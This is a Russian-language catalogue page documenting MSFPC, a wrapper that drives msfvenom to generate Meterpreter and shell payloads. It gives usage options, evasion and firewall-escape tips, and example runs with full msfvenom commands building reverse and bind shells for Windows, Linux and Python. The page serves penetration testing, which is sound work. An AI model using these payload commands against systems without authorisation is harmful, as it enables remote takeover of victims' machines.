MSFvenom Payload Creator (MSFPC)


Описание MSFvenom Payload Creator (MSFPC)

Быстрый способ сгенерировать различные «базовые» полезные нагрузки Meterpreter через msfvenom (часть платформы Metasploit).

MSFvenom Payload Creator (MSFPC), создатель полезной нагрузки MSFvenom, - это обёртка для создания нескольких типов полезной нагрузки на основе выбора пользователя. Идея в том, чтобы упростить насколько возможно (требуется только один ввод) создание полезной нагрузки.

Конечной целью является полная автоматизация msfvenom и Metasploit для упрощения жизни пользователя (меню выбора IP, ресурсного файла/команд msfconsole, пакетное создание полезной нагрузки и возможность вводить любые аргументы в любом порядке (в различных форматах/шаблонах).

От пользователя требуется только ввести только желаемую платформу для полезной нагрузки, либо расширение файла (напр., exe).

Примеры автоматизации:

  • Вместо IP интерфейса достаточно ввести его имя: eth0.
  • Вместо внешнего IP достаточно ввести wan (MSFPC самостоятельно определит внешний IP адрес).
  • Если нужно создать по одной каждой полезной нагрузке, то наберите loop.
  • Массовое создание полезных нагрузок — всё или по фильтрам: batch (для всего), batch msf (для каждой опции Meterpreter), batch staged (для каждой staged полезной нагрузки) или batch cmd stageless (для каждой stageless command prompt). Подробности о staged и stageless ниже.

Примечание: скрипт НЕ будет пытаться как-либо обойти антивирусные решения на какой-либо стадии.

Домашняя страница: https://github.com/g0tmi1k/mpc

Автор: g0tmi1k

Лицензия: MIT

Справка по MSFPC

Использование:


msfpc <ТИП> (<ДОМЕН/IP>) (<ПОРТ>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)

В качестве <ТИПа> возможен следующий ввод:

  • APK
  • ASP
  • ASPX
  • Bash [.sh]
  • Java [.jsp]
  • Linux [.elf]
  • OSX [.macho]
  • Perl [.pl]
  • PHP
  • Powershell [.ps1]
  • Python [.py]
  • Tomcat [.war]
  • Windows [.exe // .dll]

Вместо указания <ДОМЕН/IP> вы можете ввести интерфейс и MSFPC определит его IP адрес.

При пропуске <ДОМЕН/IP> по умолчанию будет сделан переход в меню IP.

Пропуск <ПОРТа> установит значение по умолчанию 443.

<CMD> - это стандартная/родная команда оболочки/терминала для интерактивного взаимодействия.

<MSF> пользовательский кросс-платформенный шелл для получения всей мощи Metasploit.

Пропуск <CMD/MSF>, где это возможно, приведёт к дефолтному <MSF>.

Помните: Metasploit (ещё) не поддерживает <CMD/MSF> для формата любого <ТИПа>.

Полезная нагрузка <CMD> обычно меньше, чем <MSF> и проще для обхода EMET. Ограничивается поддержкой модулей пост модулей/скриптов Metasploit.

Полезная нагрузка <MSF> обычно больше чем <CMD>, поскольку она поставляется с большим количеством функций.

<BIND> открывает порт на стороне цели и атакующий к ней подключается. На целях часто заблокированы входящие соединения.

<REVERSE> заставляет цель подключиться к атакующему. Атакующему нужно открыть соответствующий порт.

Пропуск <BIND/REVERSE> установит по умолчанию <REVERSE>.

<BIND> позволяет атакующему подключиться когда он хочет. <REVERSE> требует от цели постоянно подключаться к атакующему для поддержания постоянного доступа.

<STAGED> разделяет полезную нагрузку на части, делая её меньше, но зависящей от Metasploit.

<STAGELESS> - это полностью самостоятельная полезная нагрузка. Более «стабильна», чем <STAGED>.

Пропуск <STAGED/STAGELESS>, когда это возможно, установит по умолчанию <STAGED>.

Помните: Metasploit (ещё) не поддерживает <STAGED/STAGELESS> для формата каждого <ТИПа>.

<STAGED> «лучше» в средах с низкой пропускной способностью и высокой задержкой.

<STAGELESS> считается «незаметнее» при обходе антивирусных защит. <STAGED> может работать «лучше» с IDS/IPS.

<TCP> это стандартный метод для подключения. Он наиболее совместим с ТИПАМИ как RAW. IDS могут легко его обнаружить.

<HTTP> делает связь похожей на HTTP трафик (не зашифрованный). Полезно при ограничении доступа, например, протоколом TCP 80.


<HTTPS> делает соединения похожими на (зашифрованный) с помощью SSL трафик HTTP. Полезно при контроле пакетов и ограничении доступа определёнными протоколами, например, TCP 443.

<FIND_PORT> попробует каждый порт на целевой машине в поиска выхода наружу. Полезно при фильтровании входящего/исходящего трафика файерволами. Переключиться на «allports» на основе <ТИПа>.

Пропуск <TCP/HTTP/HTTPS/FIND_PORT> установит по умолчанию <TCP>.


Изменение трафика на <HTTP>, а тем более на <HTTPS>, замедлит соединение и увеличит размер полезной нагрузки.

<BATCH> сгенерирует так много комбинаций, как это возможно: <ТИП>, <CMD + MSF>, <BIND + REVERSE>, <STAGED + STAGLESS> & <TCP + HTTP + HTTPS + FIND_PORT>

<LOOP> просто создаст по одной каждого <ТИПа>.

<VERBOSE> покажет больше информации.

Руководство по MSFPC

Страница man отсутствует.

Примеры запуска MSFPC

Полезная нагрузка для Windows и вручную указанный IP:

msfpc windows 192.168.1.10

Полезная нагрузка для Linux, IP адрес сетевого интерфейса eth0 и вручную указанный порт:

msfpc elf bind eth0 4444

Полезная нагрузка для Python, stageless command prompt:

msfpc stageless cmd py https

Полезная нагрузка каждого типа, используя IP адрес интерфейса eth1:

msfpc verbose loop eth1

Все возможные полезные нагрузки Meterpreter, используя WAN IP (внешний адрес)

msfpc msf batch wan

Полуинтерактивное создание Windows Meterpreter bind shell на порту 5555:

msfpc windows bind 5555 verbose
 [*] MSFvenom Payload Creator (MSFPC v1.4.4)

 [i] Use which interface - IP address?:
 [i]   1.) lo - 127.0.0.1
 [i]   2.) eth0 - 172.16.193.160
 [i]   3.) wan - 68.151.240.61
 [?] Select 1-3, interface or IP address: 2

 [i]        IP: 172.16.193.160
 [i]      PORT: 5555
 [i]      TYPE: windows (windows/meterpreter/bind_tcp)
 [i]     SHELL: meterpreter
 [i] DIRECTION: bind
 [i]     STAGE: staged
 [i]    METHOD: tcp
 [i]       CMD: msfvenom -p windows/meterpreter/bind_tcp -f exe \
  --platform windows -a x86 -e generic/none  LPORT=5555 \
  > '/root/windows-meterpreter-staged-bind-tcp-5555.exe'

 [i] windows meterpreter created: '/root/windows-meterpreter-staged-bind-tcp-5555.exe'

 [i] File: PE32 executable (GUI) Intel 80386, for MS Windows
 [i] Size: 76K
 [i]  MD5: 5bdb434e053fa0a9894eb88720c09e2a
 [i] SHA1: 9d51c45c76dfd947994cb4be61f5f9797b35167f

 [i] MSF handler file: '/root/windows-meterpreter-staged-bind-tcp-5555-exe.rc'
 [i] Run: msfconsole -q -r '/root/windows-meterpreter-staged-bind-tcp-5555-exe.rc'
 [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
 [*] Done!

Автоматическая генерация полезной нагрузки Meterpreter под Windows с обратным соединением, используя IP интерфейса eth0 в качестве параметра LHOST:

msfpc windows eth0
 [*] MSFvenom Payload Creator (MSFPC v1.4.4)
 [i]   IP: 172.16.193.160
 [i] PORT: 443
 [i] TYPE: windows (windows/meterpreter/reverse_tcp)
 [i]  CMD: msfvenom -p windows/meterpreter/reverse_tcp -f exe \
  --platform windows -a x86 -e generic/none LHOST=172.16.193.160 LPORT=443 \
  > '/root/windows-meterpreter-staged-reverse-tcp-443.exe'

 [i] windows meterpreter created: '/root/windows-meterpreter-staged-reverse-tcp-443.exe'

 [i] MSF handler file: '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
 [i] Run: msfconsole -q -r '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
 [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
 [*] Done!

Полезная нагрузка в формате Linux, полностью автоматическое создание используя вручную указанный интерфейс и порт + подробный вывод:

msfpc elf bind eth0 4444 verbose
 [*] MSFvenom Payload Creator (MSFPC v1.4.4)
 [i]        IP: 192.168.103.142
 [i]      PORT: 4444
 [i]      TYPE: linux (linux/x86/shell/bind_tcp)
 [i]     SHELL: shell
 [i] DIRECTION: bind
 [i]     STAGE: staged
 [i]    METHOD: tcp
 [i]       CMD: msfvenom -p linux/x86/shell/bind_tcp -f elf \
  --platform linux -a x86 -e generic/none  LPORT=4444 \
  > '/root/linux-shell-staged-bind-tcp-4444.elf'

 [i] linux shell created: '/root/linux-shell-staged-bind-tcp-4444.elf'

 [i] File: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size
 [i] Size: 4.0K
 [i]  MD5: eed4623b765eea623f2e0206b63aad61
 [i] SHA1: 0b5dabd945ef81ec9283768054b3c22125aa9185

 [i] MSF handler file: '/root/linux-shell-staged-bind-tcp-4444-elf.rc'
 [i] Run: msfconsole -q -r '/root/linux-shell-staged-bind-tcp-4444-elf.rc'
 [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
 [*] Done!

Полезная нагрузка в формате Python, интерактивное меню IP:

msfpc stageless cmd py tcp
 [*] MSFvenom Payload Creator (MSFPC v1.4.4)

 [i] Use which interface - IP address?:
 [i]   1.) eth0 - 192.168.103.142
 [i]   2.) lo - 127.0.0.1
 [i]   3.) wan - 31.204.154.174
 [?] Select 1-3, interface or IP address: 1

 [i]   IP: 192.168.103.142
 [i] PORT: 443
 [i] TYPE: python (python/shell_reverse_tcp)
 [i]  CMD: msfvenom -p python/shell_reverse_tcp -f raw \
  --platform python -e generic/none -a python LHOST=192.168.103.142 LPORT=443 \
  > '/root/python-shell-stageless-reverse-tcp-443.py'

 [i] python shell created: '/root/python-shell-stageless-reverse-tcp-443.py'

 [i] MSF handler file: '/root/python-shell-stageless-reverse-tcp-443-py.rc'
 [i] Run: msfconsole -q -r '/root/python-shell-stageless-reverse-tcp-443-py.rc'
 [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
 [*] Done!

Установка MSFPC

Установка в Kali Linux


sudo apt install -y msfpc

Установка в BlackArch

sudo pacman -S metasploit
sudo wget "https://raw.githubusercontent.com/g0tmi1k/mpc/master/msfpc.sh" -O /usr/local/bin/msfpc
sudo chmod 0755 /usr/local/bin/msfpc
msfpc -h

Информация об установке в другие операционные системы будет добавлена позже.

Скриншоты MSFPC

Инструкции по MSFPC

Ссылки на инструкции будут добавлены позже.


Близкие программы:

  • Metasploit (100%)
  • WPSploit (61.9%)
  • Social-Engineer Toolkit (SET) (61.9%)
  • APT2 (61.9%)
  • Maltego (52.3%)
  • Evilginx (RANDOM - 52.3%)
  • Рекомендуется Вам:

    Comments are Closed